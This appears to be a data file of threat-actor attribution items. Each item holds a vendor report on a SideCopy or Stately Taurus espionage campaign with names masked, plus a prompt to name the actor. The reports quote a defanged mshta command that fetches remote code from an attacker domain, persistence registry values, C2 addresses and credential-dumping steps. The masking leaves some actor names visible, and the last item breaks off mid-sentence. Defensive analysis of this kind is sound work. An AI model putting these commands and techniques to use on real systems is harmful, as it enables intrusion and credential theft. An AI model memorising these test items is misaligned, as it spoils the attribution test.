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https://www.seqrite.com/blog/sidecopys-multi-platform-onslaught-leveraging-winrar-zero-day-and-linux-variant-of-ares-rat/ | SEQRITE Labs APT-Team has discovered multiple campaigns of APT [PLACEHOLDER], targeting Indian government and defense entities in the past few months. The threat group is now exploiting the recent WinRAR vulnerability CVE-2023-38831 (See our advisory for more details) to deploy AllaKore RAT, DRat and additional payloads. The compromised domains, used to host payloads by [PLACEHOLDER], are reused multiple times, resolving to the same IP address. It has also deployed a Linux variant of open-source agent called Ares RAT, where code similarity with its parent threat group Transparent Tribe (APT36) has been found in the stager payload. Conducting multi-platform attacks simultaneously with the same decoys and naming convention, both [PLACEHOLDER] and APT36 share infrastructure and code to aggressively target India. In this blog, we’ll delve into the technicalities of two such campaigns we encountered during our telemetry analysis. We have observed more similar ongoing campaigns unfold and expect them to continue as the Israel-Hamas conflict intensifies, where not only Pakistan-aligned hacktivists but also other groups against Israel are targeting Indian websites with DDoS, defacement, and data breach attacks. Threat Actor Profile [PLACEHOLDER] is a Pakistan-linked Advanced Persistent Threat group that has been targeting South Asian countries, primarily the Indian Defense and Afghanistan government entities, since at least 2019. Almost every month, a new attack campaign has been observed this year in our telemetry, with changes over time where additional stages with Double Action RAT, new .NET-based RAT, and TTPs where PowerShell remote execution has been uncovered by our team. Its arsenal includes Action RAT, AllaKore RAT, Reverse RAT, Margulas RAT and more. This group is associated as a sub-division of Transparent Tribe (APT36), which has been persistently targeting the Indian Military and is continuing to target university students aggressively this year to share student data, possibly with terrorist groups for recruitment. It has updated its Linux malware arsenal this year with Poseidon and other utilities. Active since 2013, it has continuously used payloads such as Crimson RAT, Capra RAT, and Oblique RAT in its campaigns. Pakistani agents have used honey traps to lure defense personnel, creating an immense impact and damage by stealing confidential intel in this form of cyber espionage. Analysis of Campaign-1 The first campaign of [PLACEHOLDER] observed is spread via a phishing link that downloads an archive file named “Homosexuality – Indian Armed Forces.” The decoy document is related to NSRO and is called “ACR.pdf” or “ACR_ICR_ECR_Form_for_Endorsement_New_Policy.pdf.” Interestingly, we found the same decoy PDF is utilized by the Linux variant of Ares RAT, which was first seen in the last week of August on Virus Total. Both the compromised domains used resolved to the same IP address, as shown in the below figure. The domains used in April ‘ssynergy[.]in’ and May ‘elfinindia[.]com’ campaigns also point to the same IP. Moreover, the archive files hosted on different domains have the same name, indicating the reuse of compromised domains. The phishing URL targeting the Windows platform points to sunfireglobal[.]in, a compromised domain that is not alive at the time of writing, is resolving to the IP: 162.241.85[.]104. URL is: hxxps://sunfireglobal[.]in/public/core/homo/Homosexuality%20-%20Indian%20Armed%20Forces.zip This contains a malicious shortcut file in a double extension format named “Homosexuality – Indian Armed Forces ․pdf.lnk” that triggers a remote HTA file as: C:\Windows\System32\mshta.exe “hxxps://sunfireglobal[.]in/public/assests/files/db/acr/” && tar.exe It contains two embedded files that are base64 encoded; one is the decoy PDF, and the other is a DLL. Only minor changes were observed in the HTA, and functionality remains the same – to check the .NET version, fetch the AV installed, decode, and run the DLL in-memory. After the decoy file is opened by the DLL (preBotHta), it beacons to the same domain and downloads an HTA and the final DLL contents to their target paths. The downloaded HTA is saved as “seqrite.jpg” in the TEMP folder, later moved to the target folder, and executed. Depending on the AV present – SEQRITE, Quick Heal, Kaspersky, Avast, Avira, Bitdefender, and Windows Defender; it executes the final DLL payload. Legitimate Windows apps like Credential wizard (credwiz.exe) or EFS REKEY wizard (rekeywiz.exe) are copied beside the target to sideload the DLL. Persistence is maintained via Startup (or) Run registry key to load the final RAT payload on system reboot. (Detailed analysis of Action RAT and all other payloads can be found in our previous whitepaper) Another archive file with the same name, “Homosexuality – Indian Armed Forces.zip,” is seen that contains an ELF file. It is spread using a domain named “occoman[.]com,” resolving to the same IP address for the sunfireglobal[.].in, showing the sharing of IP between compromised domains. Different file names for this Golang-based Linux malware that is masqueraded as a PDF were found as: Homosexuality – Indian Armed Forces ․pdf 2023-10-24 Unit Training Program ․pdf 2023-09-20 Social Media Usage ․pptx 2023-08-30 Utilizing the GoReSym plugin with IDA, we can extract function metadata as the binary is stripped (See our in-depth analysis of Go-based Warp malware for plugin details). The process flow is similar to the first stage seen in the case of the Poseidon agent (observed by Uptycs and Zscaler) having the exact target location, though this stage is not compiled using PyInstaller: Create a crontab to maintain persistence through system reboot under the current username. Download the decoy to the target directory “/.local/share” and open it. Download the Ares agent as “/.local/share/updates” and execute it. After extracting the contents of the final PyInstaller payload, two Python-compiled files of our interest (agent.pyc and config.pyc) are retrieved. Decompiling and examining them leads to an open-source Python RAT called Ares. The URL format used to ping the server is: “hxxps://(host)/api/(uid)/hello.” and it includes the platform, hostname and username of the victim machine along with it. It supports the following 13 commands for C2 communication. Command Description upload Uploads a local file to the server download Downloads a file via HTTP(s) zip Creates a zip archive of a file or folder cd Change the current directory screenshot Takes a screenshot and uploads it to the server python Runs a Python command or a Python file persist Installs the agent via AutoStart directory clean Uninstalls the agent exit Kills the agent crack Removes persistence and kills the agent listall List file directory and upload it to the server help Display the help <command> Executes a shell command and returns its output No major changes were observed in the agent apart from changing the name from ares to gedit, and the server used by the agent is present in the config file: 161.97.151[.]200:7015. Both the agent and config scripts include the name ‘lee’ pointing to the same agent as referred by Lumen. This payload is also named “bossupdate,” a similar naming convention seen with Poseidon and other utilities of Transparent Tribe that starts with the ‘boss’ prefix. APT36 is aiming for the operating system BOSS, developed in India for government entities, and is constantly expanding its Linux arsenal. Back in 2021, [PLACEHOLDER] was linked to the same RAT by QiAnXin’s Red Raindrop Team and a forked version called BackNet by Telsy later. | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: SEQRITE Labs APT-Team has discovered multiple campaigns of APT [PLACEHOLDER], targeting Indian government and defense entities in the past few months. The threat group is now exploiting the recent WinRAR vulnerability CVE-2023-38831 (See our advisory for more details) to deploy AllaKore RAT, DRat and additional payloads. The compromised domains, used to host payloads by [PLACEHOLDER], are reused multiple times, resolving to the same IP address. It has also deployed a Linux variant of open-source agent called Ares RAT, where code similarity with its parent threat group Transparent Tribe (APT36) has been found in the stager payload. Conducting multi-platform attacks simultaneously with the same decoys and naming convention, both [PLACEHOLDER] and APT36 share infrastructure and code to aggressively target India. In this blog, we’ll delve into the technicalities of two such campaigns we encountered during our telemetry analysis. We have observed more similar ongoing campaigns unfold and expect them to continue as the Israel-Hamas conflict intensifies, where not only Pakistan-aligned hacktivists but also other groups against Israel are targeting Indian websites with DDoS, defacement, and data breach attacks. Threat Actor Profile [PLACEHOLDER] is a Pakistan-linked Advanced Persistent Threat group that has been targeting South Asian countries, primarily the Indian Defense and Afghanistan government entities, since at least 2019. Almost every month, a new attack campaign has been observed this year in our telemetry, with changes over time where additional stages with Double Action RAT, new .NET-based RAT, and TTPs where PowerShell remote execution has been uncovered by our team. Its arsenal includes Action RAT, AllaKore RAT, Reverse RAT, Margulas RAT and more. This group is associated as a sub-division of Transparent Tribe (APT36), which has been persistently targeting the Indian Military and is continuing to target university students aggressively this year to share student data, possibly with terrorist groups for recruitment. It has updated its Linux malware arsenal this year with Poseidon and other utilities. Active since 2013, it has continuously used payloads such as Crimson RAT, Capra RAT, and Oblique RAT in its campaigns. Pakistani agents have used honey traps to lure defense personnel, creating an immense impact and damage by stealing confidential intel in this form of cyber espionage. Analysis of Campaign-1 The first campaign of [PLACEHOLDER] observed is spread via a phishing link that downloads an archive file named “Homosexuality – Indian Armed Forces.” The decoy document is related to NSRO and is called “ACR.pdf” or “ACR_ICR_ECR_Form_for_Endorsement_New_Policy.pdf.” Interestingly, we found the same decoy PDF is utilized by the Linux variant of Ares RAT, which was first seen in the last week of August on Virus Total. Both the compromised domains used resolved to the same IP address, as shown in the below figure. The domains used in April ‘ssynergy[.]in’ and May ‘elfinindia[.]com’ campaigns also point to the same IP. Moreover, the archive files hosted on different domains have the same name, indicating the reuse of compromised domains. The phishing URL targeting the Windows platform points to sunfireglobal[.]in, a compromised domain that is not alive at the time of writing, is resolving to the IP: 162.241.85[.]104. URL is: hxxps://sunfireglobal[.]in/public/core/homo/Homosexuality%20-%20Indian%20Armed%20Forces.zip This contains a malicious shortcut file in a double extension format named “Homosexuality – Indian Armed Forces ․pdf.lnk” that triggers a remote HTA file as: C:\Windows\System32\mshta.exe “hxxps://sunfireglobal[.]in/public/assests/files/db/acr/” && tar.exe It contains two embedded files that are base64 encoded; one is the decoy PDF, and the other is a DLL. Only minor changes were observed in the HTA, and functionality remains the same – to check the .NET version, fetch the AV installed, decode, and run the DLL in-memory. After the decoy file is opened by the DLL (preBotHta), it beacons to the same domain and downloads an HTA and the final DLL contents to their target paths. The downloaded HTA is saved as “seqrite.jpg” in the TEMP folder, later moved to the target folder, and executed. Depending on the AV present – SEQRITE, Quick Heal, Kaspersky, Avast, Avira, Bitdefender, and Windows Defender; it executes the final DLL payload. Legitimate Windows apps like Credential wizard (credwiz.exe) or EFS REKEY wizard (rekeywiz.exe) are copied beside the target to sideload the DLL. Persistence is maintained via Startup (or) Run registry key to load the final RAT payload on system reboot. (Detailed analysis of Action RAT and all other payloads can be found in our previous whitepaper) Another archive file with the same name, “Homosexuality – Indian Armed Forces.zip,” is seen that contains an ELF file. It is spread using a domain named “occoman[.]com,” resolving to the same IP address for the sunfireglobal[.].in, showing the sharing of IP between compromised domains. Different file names for this Golang-based Linux malware that is masqueraded as a PDF were found as: Homosexuality – Indian Armed Forces ․pdf 2023-10-24 Unit Training Program ․pdf 2023-09-20 Social Media Usage ․pptx 2023-08-30 Utilizing the GoReSym plugin with IDA, we can extract function metadata as the binary is stripped (See our in-depth analysis of Go-based Warp malware for plugin details). The process flow is similar to the first stage seen in the case of the Poseidon agent (observed by Uptycs and Zscaler) having the exact target location, though this stage is not compiled using PyInstaller: Create a crontab to maintain persistence through system reboot under the current username. Download the decoy to the target directory “/.local/share” and open it. Download the Ares agent as “/.local/share/updates” and execute it. After extracting the contents of the final PyInstaller payload, two Python-compiled files of our interest (agent.pyc and config.pyc) are retrieved. Decompiling and examining them leads to an open-source Python RAT called Ares. The URL format used to ping the server is: “hxxps://(host)/api/(uid)/hello.” and it includes the platform, hostname and username of the victim machine along with it. It supports the following 13 commands for C2 communication. Command Description upload Uploads a local file to the server download Downloads a file via HTTP(s) zip Creates a zip archive of a file or folder cd Change the current directory screenshot Takes a screenshot and uploads it to the server python Runs a Python command or a Python file persist Installs the agent via AutoStart directory clean Uninstalls the agent exit Kills the agent crack Removes persistence and kills the agent listall List file directory and upload it to the server help Display the help <command> Executes a shell command and returns its output No major changes were observed in the agent apart from changing the name from ares to gedit, and the server used by the agent is present in the config file: 161.97.151[.]200:7015. Both the agent and config scripts include the name ‘lee’ pointing to the same agent as referred by Lumen. This payload is also named “bossupdate,” a similar naming convention seen with Poseidon and other utilities of Transparent Tribe that starts with the ‘boss’ prefix. APT36 is aiming for the operating system BOSS, developed in India for government entities, and is constantly expanding its Linux arsenal. Back in 2021, [PLACEHOLDER] was linked to the same RAT by QiAnXin’s Red Raindrop Team and a forked version called BackNet by Telsy later. |
https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/ | The recent ethnic rebel attacks in Myanmar have put the Myanmar junta and surrounding countries on high alert. Since October 2023, a rebel alliance called the Three Brotherhood Alliance (3BHA) has been attacking Myanmar’s military across its northern regions, reportedly seizing its junta outposts and military positions. This activity has been cause of concern to China, as important trade routes have come under control of and have been destroyed by 3BHA, causing China to call for a ceasefire. Following the attacks, a meeting of Myanmar’s National Defence and Security Council (NSDC) on November 8th resulted in the junta leader General Min Aung Hlaing commenting that the country could splinter as a result of the 3BHA offensive. Five days later, martial law was declared across the northern Shan state. While these events do not seem to receive much international attention, the Association of Southeast Asian Nations (ASEAN) defense ministers have been calling for Myanmar to implement the in 2021 established Five-Point Consensus peace plan. So far, Myanmar’s military junta has failed to implement this plan, leading to Myanmar being barred from ASEAN until the plan progresses. As these developments unfold, CSIRT-CTI has identified two campaigns exhibiting strong indications of being connected to [PLACEHOLDER], both assessed to have targeted the Myanmar Ministry of Defence and Foreign Affairs. Both campaigns strongly appear to leverage techniques, tactics and procedures (TTPs) that are related to both historic and more contemporary Stately Taurus activity. The most prominent of these TTPs are the use of legitimate software including a binary developed by engineering firm Bernecker & Rainer (B&R) and a component of the Windows 10 upgrade assistant to sideload malicious Dynamic-Link Libraries (DLLs). Moreover, a significant number of campaigns attributed to this threat actor have been reported to disguise network traffic by making it appear to be related to Microsoft update traffic. [PLACEHOLDER] has been performing cyberespionage activities since at least 2012 and is widely believed to be a Chinese Advanced Persistent Threat (APT) tasked with intelligence collection. Previously, attacks targeting government entities and non-profits across North America, Europe and Asia believed to have politically significant information were attributed to this group. Campaign #1: Analysis of the third meeting of NDSC.zip The first campaign observed took place on November 9th 2023 and came under our attention after a malicious archive was submitted to VirusTotal with the name Analysis of the third meeting of NDSC.zip. Upon extracting this archive, victims are shown the image in Figure 1 containing a (legitimate, signed) decoy executable and a malicious DLL in the same folder. Figure 1: Extracted ZIP file containing a decoy executable and malicious DLL IOC Value Analysis of the third meeting of NDSC.zip b7e042d2accdf4a488c3cd46ccd95d6ad5b5a8be71b5d6d76b8046f17debaa18 Analysis of the third meeting of NDSC.exe ce4f7e7ce82a5621b5409ccb633e27269a05ce17d1b049feda9fbc4793e6c484 BrMod104.dll 2a00d95b658e11ca71a8de532999dd33ddee7f80432653427eaa885b611ddd87 The executable in this archive is, as mentioned, a legitimate binary originally signed by B&R Industrial Automation GmbH, which points towards engineering firm Bernecker & Rainer. Though the provided certificate expired on May 23rd 2020, it is still considered signed and valid by both Windows and VirusTotal. Upon execution of the decoy binary, the threat actor leverages DLL Search Order Hijacking to side-load the malicious DLL with a timestamp of 03-11-2023 (shown in Figure 3). After loading the DLL, its first activity is to check for supported languages on the system, after which it performs a check whether persistence has previously been obtained. It does so by determining the presence of command line arguments. If a command line argument is not present, it proceeds by copying itself and the DLL to C:\ProgramData\gameinstall. Once copied, a standard CurrentVersion autorun key is created with the name gameestrto and value C:\\ProgramData\\gameinstall\\Analysis of the third meeting of NDSC.exe starmygame. \REGISTRY\USER\S-1-5-21-578104441-166916572-4098306029-1000\Software\Microsoft\Windows\CurrentVersion\Run\gameestrto = "C:\\ProgramData\\gameinstall\\Analysis of the third meeting of NDSC.exe starmygame" This particular command line argument starmygame added to the autorun key is indicative of earlier-achieved persistence, as the malware creates the autorun key to run future executions with this argument. This causing the execution flow to skip over the conditional on address 0x100027ba as shown in Figure 4. Further down the function, any present command line arguments are validated to match the originally set value, which triggers further cryptographic operations leading to C2 communication. Following the achievement of persistence, preparation is made to ping a C2 server at 123.253.32.15 and register the device. Similar to the campaign described by Lab52, it uses a standard protocol to do so. However, where previously the magic bytes were 17 03 03, these seem to have changed to 46 77 4d. These magic bytes are consistent throughout the requests and responses. This leads to the following protocol: <46 77 4d>+<payload size>+<payload>. This standard is used for all communication, even after infection. For the initial connection, the payload is also the similar: <tickcount>+<computername>+<username>. This payload is RC4-encrypted and sent to the C2 server as shown in Figure 6. The threat actors attempt to disguise the traffic as Microsoft update traffic by adding the Host: www.asia.microsoft.com and User-Agent: Windows-Update-Agent headers. The response of the C2 server to this initial connection is a piece of shellcode that is publicly documented as PUBLOAD. This shellcode, which is also RC4 encrypted, is downloaded as a DAT file and is decrypted to the second stage malware, which is a PlugX implant. Following the Lab52 research, it could be confirmed that the same type of protocol scheme is used for continued communication with the C2 server in this case. This sample too no longer impersonates www.asia.microsoft.com, but switches to www.download.windowsupdate.com the moment it starts taking commands. IOC Value C2 IP address 123.253.32.15 Spoofed Host Header Host: www.asia.microsoft.com Spoofed Host Header www.download.windowsupdate.com User Agent Windows-Update-Agent Autorun key gameestrto CLI argument starmygame Campaign #2: ASEAN Notes.iso The second campaign was observed after being uploaded from the US and Myanmar to VirusTotal on January 17th, 2024. In the timeline surrounding the conflict in Myanmar, this is coherent with Myanmar’s junta leader meeting with a special envoy of ASEAN on January 11th in context of the violence in Myanmar. The malware sample involves an Optical Disc Image (ISO) containing LNK shortcuts, extended with a similar but slightly deviating methodology as described in campaign #1. This too matches previously documented [PLACEHOLDER] TTPs aiming at deploying a PlugX implant through multiple stages, though the delivery matches the TONESHELL malware as documented by TrendMicro. When opening the ISO file, the victim is shown a set of LNK files and a folder structure with multiple layers named _. In addition to the ASEAN 2024.lnk file, the Mofa memo.lnk file potentially refers to the Myanmar Ministry of Foreign Affairs (MOFA), as it aligns with the narrative and is indicative of context. All LNK files (parsed with LnkParse3) are programmed to display a PDF icon to trick the user and start the office.exe binary in the directory structure below. This binary is again legitimate and signed by Microsoft. The hash of this file shows up on VirusTotal as GetCurrentRollback.exe, which is typically present in the Windows 10 Upgrade assistant. After this binary is executed, the same type of DLL side-load is performed as in the first campaign with a DLL-file called GetCurrentDeploy.dll. This campaign proceeds identical to the TrendMicro analysis and attempts to register the device with C2. The report mentions that TONESHELL supports up to ten C2 addresses and seems to contain two IP addresses in this case (103.159.132.80 and 37.120.222.19). The former is present in the same subnet as is documented by CheckPoint and the latter is resolved from a hardcoded domain name in the binary, openservername.com. Remarkable is that this domain only resolves when a subdomain of www is added. Upon execution of one of the LNK files, similar steps are taken as in campaign one. It executes the office.exe binary down in the _ directory structure and side-loads GetCurrentDeploy.dll. By doing so, it triggers the same functionality as campaign #1, verifying command line arguments and copying both files to a different directory. The only difference, which is characterising for TONESHELL, is that these copies are dropped in %PUBLIC% instead of C:\ProgramData\gameinstall. | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: The recent ethnic rebel attacks in Myanmar have put the Myanmar junta and surrounding countries on high alert. Since October 2023, a rebel alliance called the Three Brotherhood Alliance (3BHA) has been attacking Myanmar’s military across its northern regions, reportedly seizing its junta outposts and military positions. This activity has been cause of concern to China, as important trade routes have come under control of and have been destroyed by 3BHA, causing China to call for a ceasefire. Following the attacks, a meeting of Myanmar’s National Defence and Security Council (NSDC) on November 8th resulted in the junta leader General Min Aung Hlaing commenting that the country could splinter as a result of the 3BHA offensive. Five days later, martial law was declared across the northern Shan state. While these events do not seem to receive much international attention, the Association of Southeast Asian Nations (ASEAN) defense ministers have been calling for Myanmar to implement the in 2021 established Five-Point Consensus peace plan. So far, Myanmar’s military junta has failed to implement this plan, leading to Myanmar being barred from ASEAN until the plan progresses. As these developments unfold, CSIRT-CTI has identified two campaigns exhibiting strong indications of being connected to [PLACEHOLDER], both assessed to have targeted the Myanmar Ministry of Defence and Foreign Affairs. Both campaigns strongly appear to leverage techniques, tactics and procedures (TTPs) that are related to both historic and more contemporary Stately Taurus activity. The most prominent of these TTPs are the use of legitimate software including a binary developed by engineering firm Bernecker & Rainer (B&R) and a component of the Windows 10 upgrade assistant to sideload malicious Dynamic-Link Libraries (DLLs). Moreover, a significant number of campaigns attributed to this threat actor have been reported to disguise network traffic by making it appear to be related to Microsoft update traffic. [PLACEHOLDER] has been performing cyberespionage activities since at least 2012 and is widely believed to be a Chinese Advanced Persistent Threat (APT) tasked with intelligence collection. Previously, attacks targeting government entities and non-profits across North America, Europe and Asia believed to have politically significant information were attributed to this group. Campaign #1: Analysis of the third meeting of NDSC.zip The first campaign observed took place on November 9th 2023 and came under our attention after a malicious archive was submitted to VirusTotal with the name Analysis of the third meeting of NDSC.zip. Upon extracting this archive, victims are shown the image in Figure 1 containing a (legitimate, signed) decoy executable and a malicious DLL in the same folder. Figure 1: Extracted ZIP file containing a decoy executable and malicious DLL IOC Value Analysis of the third meeting of NDSC.zip b7e042d2accdf4a488c3cd46ccd95d6ad5b5a8be71b5d6d76b8046f17debaa18 Analysis of the third meeting of NDSC.exe ce4f7e7ce82a5621b5409ccb633e27269a05ce17d1b049feda9fbc4793e6c484 BrMod104.dll 2a00d95b658e11ca71a8de532999dd33ddee7f80432653427eaa885b611ddd87 The executable in this archive is, as mentioned, a legitimate binary originally signed by B&R Industrial Automation GmbH, which points towards engineering firm Bernecker & Rainer. Though the provided certificate expired on May 23rd 2020, it is still considered signed and valid by both Windows and VirusTotal. Upon execution of the decoy binary, the threat actor leverages DLL Search Order Hijacking to side-load the malicious DLL with a timestamp of 03-11-2023 (shown in Figure 3). After loading the DLL, its first activity is to check for supported languages on the system, after which it performs a check whether persistence has previously been obtained. It does so by determining the presence of command line arguments. If a command line argument is not present, it proceeds by copying itself and the DLL to C:\ProgramData\gameinstall. Once copied, a standard CurrentVersion autorun key is created with the name gameestrto and value C:\\ProgramData\\gameinstall\\Analysis of the third meeting of NDSC.exe starmygame. \REGISTRY\USER\S-1-5-21-578104441-166916572-4098306029-1000\Software\Microsoft\Windows\CurrentVersion\Run\gameestrto = "C:\\ProgramData\\gameinstall\\Analysis of the third meeting of NDSC.exe starmygame" This particular command line argument starmygame added to the autorun key is indicative of earlier-achieved persistence, as the malware creates the autorun key to run future executions with this argument. This causing the execution flow to skip over the conditional on address 0x100027ba as shown in Figure 4. Further down the function, any present command line arguments are validated to match the originally set value, which triggers further cryptographic operations leading to C2 communication. Following the achievement of persistence, preparation is made to ping a C2 server at 123.253.32.15 and register the device. Similar to the campaign described by Lab52, it uses a standard protocol to do so. However, where previously the magic bytes were 17 03 03, these seem to have changed to 46 77 4d. These magic bytes are consistent throughout the requests and responses. This leads to the following protocol: <46 77 4d>+<payload size>+<payload>. This standard is used for all communication, even after infection. For the initial connection, the payload is also the similar: <tickcount>+<computername>+<username>. This payload is RC4-encrypted and sent to the C2 server as shown in Figure 6. The threat actors attempt to disguise the traffic as Microsoft update traffic by adding the Host: www.asia.microsoft.com and User-Agent: Windows-Update-Agent headers. The response of the C2 server to this initial connection is a piece of shellcode that is publicly documented as PUBLOAD. This shellcode, which is also RC4 encrypted, is downloaded as a DAT file and is decrypted to the second stage malware, which is a PlugX implant. Following the Lab52 research, it could be confirmed that the same type of protocol scheme is used for continued communication with the C2 server in this case. This sample too no longer impersonates www.asia.microsoft.com, but switches to www.download.windowsupdate.com the moment it starts taking commands. IOC Value C2 IP address 123.253.32.15 Spoofed Host Header Host: www.asia.microsoft.com Spoofed Host Header www.download.windowsupdate.com User Agent Windows-Update-Agent Autorun key gameestrto CLI argument starmygame Campaign #2: ASEAN Notes.iso The second campaign was observed after being uploaded from the US and Myanmar to VirusTotal on January 17th, 2024. In the timeline surrounding the conflict in Myanmar, this is coherent with Myanmar’s junta leader meeting with a special envoy of ASEAN on January 11th in context of the violence in Myanmar. The malware sample involves an Optical Disc Image (ISO) containing LNK shortcuts, extended with a similar but slightly deviating methodology as described in campaign #1. This too matches previously documented [PLACEHOLDER] TTPs aiming at deploying a PlugX implant through multiple stages, though the delivery matches the TONESHELL malware as documented by TrendMicro. When opening the ISO file, the victim is shown a set of LNK files and a folder structure with multiple layers named _. In addition to the ASEAN 2024.lnk file, the Mofa memo.lnk file potentially refers to the Myanmar Ministry of Foreign Affairs (MOFA), as it aligns with the narrative and is indicative of context. All LNK files (parsed with LnkParse3) are programmed to display a PDF icon to trick the user and start the office.exe binary in the directory structure below. This binary is again legitimate and signed by Microsoft. The hash of this file shows up on VirusTotal as GetCurrentRollback.exe, which is typically present in the Windows 10 Upgrade assistant. After this binary is executed, the same type of DLL side-load is performed as in the first campaign with a DLL-file called GetCurrentDeploy.dll. This campaign proceeds identical to the TrendMicro analysis and attempts to register the device with C2. The report mentions that TONESHELL supports up to ten C2 addresses and seems to contain two IP addresses in this case (103.159.132.80 and 37.120.222.19). The former is present in the same subnet as is documented by CheckPoint and the latter is resolved from a hardcoded domain name in the binary, openservername.com. Remarkable is that this domain only resolves when a subdomain of www is added. Upon execution of one of the LNK files, similar steps are taken as in campaign one. It executes the office.exe binary down in the _ directory structure and side-loads GetCurrentDeploy.dll. By doing so, it triggers the same functionality as campaign #1, verifying command line arguments and copying both files to a different directory. The only difference, which is characterising for TONESHELL, is that these copies are dropped in %PUBLIC% instead of C:\ProgramData\gameinstall. |
https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/ | An advanced persistent threat (APT) group suspected with moderate-high confidence to be [PLACEHOLDER] engaged in a number of cyberespionage intrusions targeting a government in Southeast Asia. The intrusions took place from at least the second quarter of 2021 to the third quarter of 2023. Based on our observations and analysis, the attackers gathered and exfiltrated sensitive documents and other types of files from compromised networks. CL-STA-0044 Details Reconnaissance To better understand the breached networks, the threat actor behind CL-STA-0044 scanned infected environments to find live hosts and open ports, as well as existing domain users and domain groups. We observed the adversary using several different tools to reach these goals: LadonGo: LadonGo is an open-source scanning framework that Chinese-speaking developers created. The threat actor used LadonGo to scan for live hosts and open ports using commands like smbscan, pingscan and sshscan. NBTScan: NBTScan is a program for scanning IP networks for NetBIOS name information. AdFind: AdFind is a command-line query tool that can gather information from Active Directory. The threat actor renamed the tool a.logs.As shown in Figure 2, the threat actor saved the results of AdFind to the following filenames: Domain_users_light.txt Domain_computers_light.txt Domain_groups_light.txt These filenames have only been mentioned in a GitHub page about “Penetration Testing Methodology References.” Image 2 is a screenshot of the Cortex XDR program. It is a diagram showing the prevention of AdFind attempts. Some information has been redacted. Figure 2. Prevention of AdFind attempts to dump domain users’ details. Impacket: The Impacket collection includes many tools with functions related to remote execution, Kerberos attacks, credential dumping and more. Figure 3 illustrates these commands. The threat actor used Impacket to gather information about the network, discover machines and users, and query directories on remote machines for interesting files to exfiltrate. Image 3 is a screenshot of reconnaissance commands that were run via Impacket (Python modules). There are six commands in total and some of the information has been redacted. Figure 3. Reconnaissance commands run via Impacket. Credential Stealing Unit 42 researchers observed the threat actor behind the CL-STA-0044 activity attempting to use several techniques for credential stealing to dump passwords from different hosts and the Active Directory: Hdump: The threat actor deployed and used Hdump.exe (renamed h64.exe), which is a credential stealing utility that researchers have observed Chinese threat actors using. Threat actors used Hdump to dump credentials from memory using the -a (dump all) flag. Figure 4 shows the help menu of Hdump: Image 4 is a screenshot of Hdump commands. These options include items such as print, dump user hashes, dump cache hashes and the like. Figure 4. Hdump help menu. MimiKatz: The threat actor attempted to dump the memory of lssas.exe several times, using the credential harvesting tool MimiKatz (named l.doc) to extract users’ credentials. DCSync: The threat actor attempted to use MimiKatz’s DCSync feature, which enables attackers to simulate a domain controller (DC), in the victim’s network to retrieve user credentials from the legitimate DC. They then saved the collected information to a file named log.txt. Image 5 is a screenshot of the DCSync command. Some of the information has been redacted. Figure 5. DCSync command. Stealing the Ntds.dit File: To steal Active Directory data, the threat actor used the Vssadmin tool to create a volume shadow copy of the C:\ drive on the DC. They then retrieved the Ntds.dit file from the shadow copy, as shown in Figure 6. The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, group membership and (most importantly) password hashes. The threat actor also stole the SYSTEM file containing the boot key. This key is necessary to decrypt the Ntds.dit file. Image 6 is a screenshot of commands used to steal the Ntds.dit file. There are four lines in total and some of the information has been redacted. Figure 6. Stealing the Ntds.dit file. Abusing Existing Antivirus Software We observed the threat actor behind the CL-STA-0044 activity abusing existing antivirus software in compromised environments. We spotted threat actors abusing ESET’s Remote Administrator Agent to execute commands on remote hosts and to install backdoors. They used the process ERAAgent.exe to execute BAT files with a naming pattern of C:\Windows\Temp\ra-run-command-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.bat (where xxx is replaced with random numbers and characters). These .bat files executed reconnaissance commands and wrote additional backdoors to the disk, as shown in Figure 7. The files appear to be responsible for executing commands initiated by ESET’s Run Command task. Image 7 is a screenshot of a tree diagram in Cortex XDR. Suspicious activity has been blocked. Some of the information has been redacted. Figure 7. Blocked suspicious behavior performed by ERAAgent.exe. Maintaining Access: Web Shells and Backdoors During this campaign, the threat actor behind CL-STA-0044 used several methods to maintain a foothold in compromised environments. These methods include using multiple backdoors and web shells. ToneShell Undocumented Variant One of the popular backdoors the threat actor behind CL-STA-0044 used in this campaign is an undocumented variant of a piece of malware dubbed ToneShell. Trend Micro reported that [PLACEHOLDER] has used this malware. Unlike the previously reported version of ToneShell, which uses shellcode as the payload of the malware, the new variant’s full functionality is built from three DLL components working in tandem. Each DLL component has a different purpose: Persistence component: in charge of persistence for the backdoor and dropping the other components to disk. Networking component: in charge of command and control (C2) communication. Functionality component: in charge of executing the different commands of the backdoor. Furthermore, each component of ToneShell is loaded into a different legitimate process via DLL sideloading. Internal communication between the components is done via the use of pipes. Comparing the undocumented variant with the previously reported shellcode variant as shown in Figure 8, there is a clear indication of overlap in the codebase and functionality, as well as in the strings. These strings are saved as stack strings in the shellcode variant. Image 8 is a screenshot of many lines of code. The code is color-coded with light blue, blue and green portions. The different code sections starting from the top are the ToneShell ShellCode variant, and the ToneShell DLL variant. It demonstrates there there is overlap. Figure 8. ToneShell strings overlap. The Persistence Component The persistence component (nw.dll, nw_elf.dll) is sideloaded into PwmTower.exe, a component of Trend Micro’s Password Manager, which is a known security tool. The persistence component will create a different type of persistence depending on the process’ privileges. If it has sufficient rights, the persistence component will create two types of persistence: Service named DISMsrv (Dism Images Servicing Utility Service) Scheduled task named TabletPCInputServices or TabletInputServices If it does not have sufficient rights, the persistence component will create another two types of persistence: Registry run key named TabletPCInputServices or TabletInputServices Scheduled task named TabletPCInputServices or TabletInputServices Once the persistence component is executed as a service, it drops the other components to disk and executes the networking component. The Networking Component The networking component (rw32core.dll) is sideloaded into Brcc32.exe, the resource compiler of Embarcadero, an app development tool. The networking component uses the domain www.uvfr4ep[.]com for C2 communication. Then, through the use of pipes, it communicates with the functionality component to execute commands from the C2. The Functionality Component The functionality component (secur32.dll) is sideloaded 